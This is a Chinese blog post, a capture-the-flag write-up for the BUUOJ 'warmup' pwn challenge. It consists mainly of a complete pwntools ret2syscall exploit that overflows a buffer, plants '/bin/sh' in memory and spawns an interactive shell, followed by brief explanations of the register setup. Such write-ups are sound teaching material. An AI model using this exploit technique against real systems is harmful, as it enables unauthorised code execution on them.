BUU-warmup(PWN)-WP

Posted on Jan 6, 2021

这道题做的特别难受,也浪费了很多时间,确实是状态太差了。最近有一点小失意,发现好像什么题都不会做了。

这道题就是一个简单的ret2syscall,直接看exp吧

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')

sh = process("./warmup")
#sh = remote("node3.buuoj.cn","29084")

payload  = 'a' * 0x20       #fill
payload += p32(0x0804811D)  #return to sysread
payload += p32(0x0804815A)  #sysread return to core again
payload += p32(0)           #fd
payload += p32(0x080491BC)  #read to data(injact /bin/sh)
payload += p32(9)  #len

sh.sendafter("2016!",payload)

payload = '/bin/sh\x00'
sleep(0.2)
sh.send(payload)

payload  = 'a' * 0x20
payload += p32(0x0804811D)  #return to sysread
payload += p32(0x08048122)  #avoid changing eax
payload += p32(0)           #fd of read
payload += p32(0x80491BC)   #ebx
payload += p32(0x8049210)   #ecx point to \x00

sleep(0.2)
sh.send(payload)

sleep(0.2)
sh.send("/bin/sh\x00\x00\x00\x00")

sh.interactive()

两点解释一下

  1. 为什么要注入两次?
    • 因为第一次注入后,若直接ret to 0x08048122,mov给edx的值不是零,两次注入的话,很巧的,栈中被赋给edx的值是零
  2. 为什么第二次注入的时候,长度是0x8049210?
    • 这个值将来被赋值给ecx,ecx是execve_syscall中指向参数的(比如gcc -v,'-v'就是参数),我们要shell,不应该有参数,所以让他执行一个值为空的、可访问的地址。